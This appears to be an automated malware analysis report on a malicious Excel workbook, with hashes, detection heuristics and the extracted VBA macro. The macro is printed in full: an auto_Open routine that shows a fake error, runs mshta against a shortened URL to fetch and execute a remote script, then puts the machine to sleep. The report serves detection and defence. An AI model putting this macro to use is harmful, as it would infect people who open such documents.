Office (OOXML) malware analysis — malicious · b0cc6501e23df4e6

MALICIOUS

Office (OOXML)

11.7 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-02

MD5: 7e4bb74dbbc995328c8fed264491d549 SHA-1: 45b6f9d7139273ad088acc2dacbe79234b5e1a35 SHA-256: b0cc6501e23df4e64b03e18d94cd176afbb1fb3421398481a7d5bf5f59a0cb85

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1218.005 Signed Binary Proxy Execution: Mshta

The sample contains a VBA macro that executes upon opening the document. This macro constructs a URL by concatenating 'mshta ' with 'https://www.bitly.com/' and a seemingly random string 'kddjkkdowkdowkdwwi', then executes it using mshta.exe. It also attempts to put the system to sleep using rundll32.exe. The use of mshta.exe to execute a remote script is a common technique for downloading and running further malicious payloads.

Heuristics 6

VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

  Debug.Print Z
  Debug.Print (Shell(X + Y + Z))
  Shell "rundll32.exe powrprof.dll, SetSuspendState Sleep"

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA
Matched line in script
```
  Dim Z As String
  X = "mshta "
  Y = "https://www.bitly.com/"
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro

Matched line in script

Attribute VB_Name = "Module1"
Sub auto_Open()
  Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1018 bytes
SHA-256: `1d788722bcd17485a6035ff4e8491b9b36029081fef2bf4620c7faebeee772b4`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Workbook______________" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Worksheet______1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module1" Sub auto_Open() Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1 Dim X As String Dim Y As String Dim Z As String X = "mshta " Y = "https://www.bitly.com/" Z = "kddjkkdowkdowkdwwi" Debug.Print X Debug.Print Y Debug.Print Z Debug.Print (Shell(X + Y + Z)) Shell "rundll32.exe powrprof.dll, SetSuspendState Sleep" End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	11264 bytes
SHA-256: `5fb059a350436845d00294898b634c6d290b1735eb93f5a67384ded77ebbefcd`

Open this report in the interactive analyzer, or submit your own file for analysis.